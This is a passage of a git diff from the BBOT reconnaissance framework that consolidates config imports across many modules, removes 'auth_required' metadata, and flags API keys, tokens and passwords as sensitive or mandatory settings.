-1,6 +1,5 @@ from bbot.modules.templates.censys import censys -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class censys_dns(censys): @@ -16,11 +15,12 @@ class censys_dns(censys): "description": "Query the Censys API for subdomains", "created_date": "2022-08-04", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Censys.io API Key in the format of 'key:secret'") + api_key: str = Field( + "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True + ) max_pages: int = Field(5, description="Maximum number of pages to fetch (100 results per page)") async def setup(self): diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index 9a798dbf7c..14d35cbf13 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -1,6 +1,5 @@ from bbot.modules.templates.censys import censys -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class censys_ip(censys): @@ -23,11 +22,12 @@ class censys_ip(censys): "description": "Query the Censys API for hosts by IP address", "created_date": "2026-01-26", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Censys.io API Key in the format of 'key:secret'") + api_key: str = Field( + "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True + ) dns_names_limit: int = Field( 100, description="Maximum number of DNS names to extract from dns.names (default 100)" ) diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index b9e803f8e9..82e72f8f26 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class chaos(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class chaos(subdomain_enum_apikey): "description": "Query ProjectDiscovery's Chaos API for subdomains", "created_date": "2022-08-14", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Chaos API key") + api_key: str = Field("", description="Chaos API key", sensitive=True, mandatory=True) base_url = "https://dns.projectdiscovery.io/dns" ping_url = f"{base_url}/example.com" diff --git a/bbot/modules/credshed.py b/bbot/modules/credshed.py index 1f0f13f74f..c2c477990e 100644 --- a/bbot/modules/credshed.py +++ b/bbot/modules/credshed.py @@ -1,8 +1,7 @@ from contextlib import suppress from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class credshed(subdomain_enum): @@ -13,13 +12,12 @@ class credshed(subdomain_enum): "description": "Send queries to your own credshed server to check for known credentials of your targets", "created_date": "2023-10-12", "author": "@SpamFaux", - "auth_required": True, } class Config(BaseModuleConfig): - username: str = Field("", description="Credshed username") - password: str = Field("", description="Credshed password") - credshed_url: str = Field("", description="URL of credshed server") + username: str = Field("", description="Credshed username", sensitive=True, mandatory=True) + password: str = Field("", description="Credshed password", sensitive=True, mandatory=True) + credshed_url: str = Field("", description="URL of credshed server", mandatory=True) target_only = True diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py index 27903b86b3..805316f808 100644 --- a/bbot/modules/dehashed.py +++ b/bbot/modules/dehashed.py @@ -1,8 +1,7 @@ from contextlib import suppress from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class dehashed(subdomain_enum): @@ -13,11 +12,10 @@ class dehashed(subdomain_enum): "description": "Execute queries against dehashed.com for exposed credentials", "created_date": "2023-10-12", "author": "@SpamFaux", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="DeHashed API Key") + api_key: str = Field("", description="DeHashed API Key", sensitive=True, mandatory=True) target_only = True diff --git a/bbot/modules/dnsbimi.py b/bbot/modules/dnsbimi.py index 9463966a81..3a5c38f38e 100644 --- a/bbot/modules/dnsbimi.py +++ b/bbot/modules/dnsbimi.py @@ -28,8 +28,7 @@ from bbot.core.helpers.dns.helpers import record_to_text, service_record import re -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field # Handle "v=BIMI1; l=; a=;" == RFC conformant explicit declination to publish, e.g. useful on a sub-domain if you don't want the sub-domain to have a BIMI logo, yet your registered domain does? # Handle "v=BIMI1; l=; a=" == RFC non-conformant explicit declination to publish diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 5bd0e55516..013226e072 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class dnsbrute(subdomain_enum): diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index 7927af3c75..efc68c88ba 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -1,8 +1,7 @@ import time from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class dnsbrute_mutations(BaseModule): diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py index 412ed9d6ff..c132f6af5e 100644 --- a/bbot/modules/dnscaa.py +++ b/bbot/modules/dnscaa.py @@ -22,8 +22,7 @@ from bbot.modules.base import BaseModule from bbot.core.helpers.regexes import dns_name_extraction_regex, email_regex, url_regexes -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class dnscaa(BaseModule): diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 855663a28a..db61011ee8 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -1,7 +1,6 @@ from bbot.core.helpers.dns.helpers import common_srvs from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class dnscommonsrv(subdomain_enum): diff --git a/bbot/modules/dnstlsrpt.py b/bbot/modules/dnstlsrpt.py index 2513ebe71e..ead85169c5 100644 --- a/bbot/modules/dnstlsrpt.py +++ b/bbot/modules/dnstlsrpt.py @@ -20,8 +20,7 @@ import re from bbot.core.helpers.regexes import email_regex, url_regexes -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field _tlsrpt_regex = r"^v=(?PTLSRPTv[0-9]+); *(?P.*)$" tlsrpt_regex = re.compile(_tlsrpt_regex, re.I) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index 839455f9f8..28180499aa 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -3,8 +3,7 @@ import tarfile from pathlib import Path from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class docker_pull(BaseModule): diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 89078d7d85..9e2296f71d 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -4,8 +4,7 @@ import string import json import base64 -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class ffuf(BaseModule): diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/ffuf_shortnames.py index 293fc1402d..869b6649a9 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/ffuf_shortnames.py @@ -4,8 +4,7 @@ import string from bbot.modules.ffuf import ffuf -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class ffuf_shortnames(ffuf): diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py index 761193f14d..b43e58be0c 100644 --- a/bbot/modules/filedownload.py +++ b/bbot/modules/filedownload.py @@ -2,8 +2,7 @@ from pathlib import Path from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class filedownload(BaseModule): diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py index b815f438b8..4bbac86970 100644 --- a/bbot/modules/fingerprintx.py +++ b/bbot/modules/fingerprintx.py @@ -1,8 +1,7 @@ import json import subprocess from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class fingerprintx(BaseModule): diff --git a/bbot/modules/fullhunt.py b/bbot/modules/fullhunt.py index ba15bcf5c1..ae7996c7d1 100644 --- a/bbot/modules/fullhunt.py +++ b/bbot/modules/fullhunt.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class fullhunt(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class fullhunt(subdomain_enum_apikey): "description": "Query the fullhunt.io API for subdomains", "created_date": "2022-08-24", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="FullHunt API Key") + api_key: str = Field("", description="FullHunt API Key", sensitive=True, mandatory=True) base_url = "https://fullhunt.io/api/v1" diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index 9f526d61e7..38e4fffba2 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -1,8 +1,7 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.templates.github import github -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class git_clone(github): @@ -16,7 +15,7 @@ class git_clone(github): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token") + api_key: str = Field("", description="Github token", sensitive=True) output_folder: str = Field( "", description="Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.", diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index c611bdc050..3024bd2a37 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -2,8 +2,7 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class gitdumper(BaseModule): diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py index fbc4a253ef..ea4dc984b9 100644 --- a/bbot/modules/github_codesearch.py +++ b/bbot/modules/github_codesearch.py @@ -1,7 +1,6 @@ from bbot.modules.templates.github import github from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class github_codesearch(github, subdomain_enum): @@ -12,11 +11,10 @@ class github_codesearch(github, subdomain_enum): "description": "Query Github's API for code containing the target domain name", "created_date": "2023-12-14", "author": "@domwhewell-sage", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token") + api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) limit: int = Field(100, description="Limit code search to this many results") github_raw_url = "https://raw.githubusercontent.com/" diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index bd84a55a77..4585ebe3e4 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -1,6 +1,5 @@ from bbot.modules.templates.github import github -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class github_org(github): @@ -14,7 +13,7 @@ class github_org(github): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token") + api_key: str = Field("", description="Github token", sensitive=True) include_members: bool = Field(True, description="Enumerate organization members") include_member_repos: bool = Field(False, description="Also enumerate organization members' repositories") diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py index 9c6aac2370..5662ff1cf9 100644 --- a/bbot/modules/github_usersearch.py +++ b/bbot/modules/github_usersearch.py @@ -1,7 +1,6 @@ from bbot.modules.templates.github import github from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class github_usersearch(github, subdomain_enum): @@ -12,11 +11,10 @@ class github_usersearch(github, subdomain_enum): "description": "Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization.", "created_date": "2025-05-10", "author": "@domwhewell-sage", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token") + api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) async def handle_event(self, event): self.verbose("Searching for users with emails matching in scope domains") diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index 3ccea39be5..c17c81583d 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -3,8 +3,7 @@ from pathlib import Path from bbot.modules.templates.github import github -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class github_workflows(github): @@ -15,11 +14,10 @@ class github_workflows(github): "description": "Download a github repositories workflow logs and workflow artifacts", "created_date": "2024-04-29", "author": "@domwhewell-sage", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token") + api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) num_logs: int = Field(1, description="For each workflow fetch the last N successful runs logs (max 100)") output_folder: str = Field("", description="Folder to download workflow logs and artifacts to") diff --git a/bbot/modules/gitlab_com.py b/bbot/modules/gitlab_com.py index 39ff302d41..68417c255b 100644 --- a/bbot/modules/gitlab_com.py +++ b/bbot/modules/gitlab_com.py @@ -1,6 +1,5 @@ from bbot.modules.templates.gitlab import GitLabBaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class gitlab_com(GitLabBaseModule): @@ -16,7 +15,7 @@ class gitlab_com(GitLabBaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="GitLab access token (for gitlab.com/org only)") + api_key: str = Field("", description="GitLab access token (for gitlab.com/org only)", sensitive=True) # This is needed because we are consuming SOCIAL events, which aren't in scope scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_onprem.py b/bbot/modules/gitlab_onprem.py index 03c51630ab..7e659a6723 100644 --- a/bbot/modules/gitlab_onprem.py +++ b/bbot/modules/gitlab_onprem.py @@ -1,6 +1,5 @@ from bbot.modules.templates.gitlab import GitLabBaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class gitlab_onprem(GitLabBaseModule): @@ -21,7 +20,7 @@ class gitlab_onprem(GitLabBaseModule): # Optional GitLab access token (only required for gitlab.com, but still # supported for on-prem installations that expose private projects). class Config(BaseModuleConfig): - api_key: str = Field("", description="GitLab access token (for self-hosted instances only)") + api_key: str = Field("", description="GitLab access token (for self-hosted instances only)", sensitive=True) # Allow accepting events slightly beyond configured max distance so we can # discover repos on neighbouring infrastructure. diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index f9eaa5337c..b4df850919 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -9,8 +9,7 @@ from shutil import copyfile, copymode from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class gowitness(BaseModule): diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index 1f9e6e1a87..58552651d1 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -1,8 +1,7 @@ import json from pathlib import Path from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class graphql_introspection(BaseModule): diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 6267d5e38d..14a618a0b0 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -7,8 +7,7 @@ from http.cookies import SimpleCookie from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class httpx(BaseModule): diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py index 07c6b93cbb..7fd08a870e 100644 --- a/bbot/modules/hunterio.py +++ b/bbot/modules/hunterio.py @@ -1,21 +1,15 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class hunterio(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS", "DNS_NAME", "URL_UNVERIFIED"] flags = ["safe", "passive", "email-enum", "subdomain-enum"] - meta = { - "description": "Query hunter.io for emails", - "created_date": "2022-04-25", - "author": "@TheTechromancer", - "auth_required": True, - } + meta = {"description": "Query hunter.io for emails", "created_date": "2022-04-25", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Hunter.IO API key") + api_key: str = Field("", description="Hunter.IO API key", sensitive=True, mandatory=True) base_url = "https://api.hunter.io/v2" ping_url = f"{base_url}/account?api_key={{api_key}}" diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index b0b915e58a..99cef5457f 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -1,8 +1,7 @@ import re from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field valid_chars = "ETAONRISHDLFCMUGYPWBVKJXQZ0123456789_-$~()&!#%'@^`{}]]" diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 937e3c7257..fb4b8f45b7 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -10,8 +10,7 @@ from bbot.modules.base import BaseInterceptModule from bbot.modules.internal.base import BaseInternalModule from urllib.parse import urlparse, urljoin, parse_qs, urlunparse, urldefrag -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field def find_subclasses(obj, base_class): diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index ded0b834ee..8caf4bab1f 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -3,8 +3,7 @@ from bbot.core.helpers import validators from bbot.modules.internal.base import BaseInternalModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class speculate(BaseInternalModule): diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py index 08676fcfef..2001a04269 100644 --- a/bbot/modules/ip2location.py +++ b/bbot/modules/ip2location.py @@ -1,6 +1,5 @@ from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class IP2Location(BaseModule): @@ -15,11 +14,10 @@ class IP2Location(BaseModule): "description": "Query IP2location.io's API for geolocation information. ", "created_date": "2023-09-12", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="IP2location.io API Key") + api_key: str = Field("", description="IP2location.io API Key", sensitive=True, mandatory=True) lang: str = Field( "", description="Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.", diff --git a/bbot/modules/ipneighbor.py b/bbot/modules/ipneighbor.py index 1384f5ca76..518d5510f6 100644 --- a/bbot/modules/ipneighbor.py +++ b/bbot/modules/ipneighbor.py @@ -1,8 +1,7 @@ import ipaddress from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class ipneighbor(BaseModule): diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py index 13e41b28b5..c1d41b5102 100644 --- a/bbot/modules/ipstack.py +++ b/bbot/modules/ipstack.py @@ -1,6 +1,5 @@ from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Ipstack(BaseModule): @@ -12,15 +11,10 @@ class Ipstack(BaseModule): watched_events = ["IP_ADDRESS"] produced_events = ["GEOLOCATION"] flags = ["safe", "passive"] - meta = { - "description": "Query IPStack's GeoIP API", - "created_date": "2022-11-26", - "author": "@tycoonslive", - "auth_required": True, - } + meta = {"description": "Query IPStack's GeoIP API", "created_date": "2022-11-26", "author": "@tycoonslive"} class Config(BaseModuleConfig): - api_key: str = Field("", description="IPStack GeoIP API Key") + api_key: str = Field("", description="IPStack GeoIP API Key", sensitive=True, mandatory=True) scope_distance_modifier = 1 _priority = 2 diff --git a/bbot/modules/jadx.py b/bbot/modules/jadx.py index 9da80079aa..b3a1d2cb12 100644 --- a/bbot/modules/jadx.py +++ b/bbot/modules/jadx.py @@ -1,8 +1,7 @@ from pathlib import Path from subprocess import CalledProcessError from bbot.modules.internal.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class jadx(BaseModule): diff --git a/bbot/modules/kreuzberg.py b/bbot/modules/kreuzberg.py index d782958415..ea30b2b453 100644 --- a/bbot/modules/kreuzberg.py +++ b/bbot/modules/kreuzberg.py @@ -2,8 +2,7 @@ from kreuzberg import extract_file from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class kreuzberg(BaseModule): diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index 5d98f83435..099a7eee2c 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class leakix(subdomain_enum_apikey): @@ -9,7 +8,7 @@ class leakix(subdomain_enum_apikey): flags = ["safe", "subdomain-enum", "passive"] class Config(BaseModuleConfig): - api_key: str = Field("", description="LeakIX API Key") + api_key: str = Field("", description="LeakIX API Key", sensitive=True) # NOTE: API key is not required (but having one will get you more results) meta = { diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 8ad9eebd7e..44305f2a4f 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -2,8 +2,7 @@ from pathlib import Path from bbot.errors import WordlistError from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field # key: value: # List with `legba -L` diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 06b735ebb8..63af8ff275 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,8 +2,7 @@ from bbot.modules.base import BaseModule from bbot.errors import InteractshError -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class lightfuzz(BaseModule): diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index b0315d7869..f0e16cc879 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -1,7 +1,6 @@ import re from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class medusa(BaseModule): diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index bd4a77ffa1..621b86182a 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -1,7 +1,6 @@ from bbot.errors import NTLMError from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field ntlm_discovery_endpoints = [ "", diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index e330ddf085..1152a974d9 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -3,8 +3,7 @@ from typing import Literal from itertools import islice from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class nuclei(BaseModule): diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index ac886d58ab..4033d84e77 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -1,8 +1,7 @@ from bbot.core.helpers.regexes import url_regexes from .base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class OAUTH(BaseModule): diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index 8e2f91ea69..53e3e189c2 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class otx(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class otx(subdomain_enum_apikey): "description": "Query otx.alienvault.com for subdomains", "created_date": "2022-08-24", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="OTX API key") + api_key: str = Field("", description="OTX API key", sensitive=True, mandatory=True) base_url = "https://otx.alienvault.com" diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 380072b5de..4046a9a741 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -4,8 +4,7 @@ from .csv import CSV from bbot.core.helpers.misc import make_ip_type, is_ip, is_port, best_http_status -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field severity_map = { "INFO": 0, diff --git a/bbot/modules/output/csv.py b/bbot/modules/output/csv.py index 237d2360bf..3a30650b53 100644 --- a/bbot/modules/output/csv.py +++ b/bbot/modules/output/csv.py @@ -2,8 +2,7 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class CSV(BaseOutputModule): diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 145d1aefd0..82656e0e30 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -1,6 +1,5 @@ from bbot.modules.templates.webhook import WebhookOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Discord(WebhookOutputModule): @@ -12,7 +11,7 @@ class Discord(WebhookOutputModule): } class Config(BaseModuleConfig): - webhook_url: str = Field("", description="Discord webhook URL") + webhook_url: str = Field("", description="Discord webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index b2a5e19323..a582464b9c 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -1,6 +1,5 @@ from .http import HTTP -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Elastic(HTTP): @@ -20,8 +19,8 @@ class Config(BaseModuleConfig): "https://localhost:9200/bbot_events/_doc", description="Elastic URL (e.g. https://localhost:9200//_doc)", ) - username: str = Field("elastic", description="Elastic username") - password: str = Field("bbotislife", description="Elastic password") + username: str = Field("elastic", description="Elastic username", sensitive=True) + password: str = Field("bbotislife", description="Elastic password", sensitive=True) timeout: int = Field(10, description="HTTP timeout") async def cleanup(self): diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py index 5bbbc9358d..1eb1718181 100644 --- a/bbot/modules/output/emails.py +++ b/bbot/modules/output/emails.py @@ -1,7 +1,6 @@ from bbot.modules.output.txt import TXT from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Emails(TXT): diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 484c11d1d4..c77b8f2ac4 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,7 +1,6 @@ from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class HTTP(BaseOutputModule): @@ -15,10 +14,10 @@ class HTTP(BaseOutputModule): class Config(BaseModuleConfig): url: str = Field("", description="Web URL") method: str = Field("POST", description="HTTP method") - bearer: str = Field("", description="Authorization Bearer token") + bearer: str = Field("", description="Authorization Bearer token", sensitive=True) username: str = Field("", description="Username (basic auth)") - password: str = Field("", description="Password (basic auth)") - headers: dict = Field({}, description="Additional headers to send with the request") + password: str = Field("", description="Password (basic auth)", sensitive=True) + headers: dict = Field({}, description="Additional headers to send with the request", sensitive=True) timeout: int = Field(10, description="HTTP timeout") async def setup(self): diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index dbd2bb7b7d..7ac7c33c56 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py 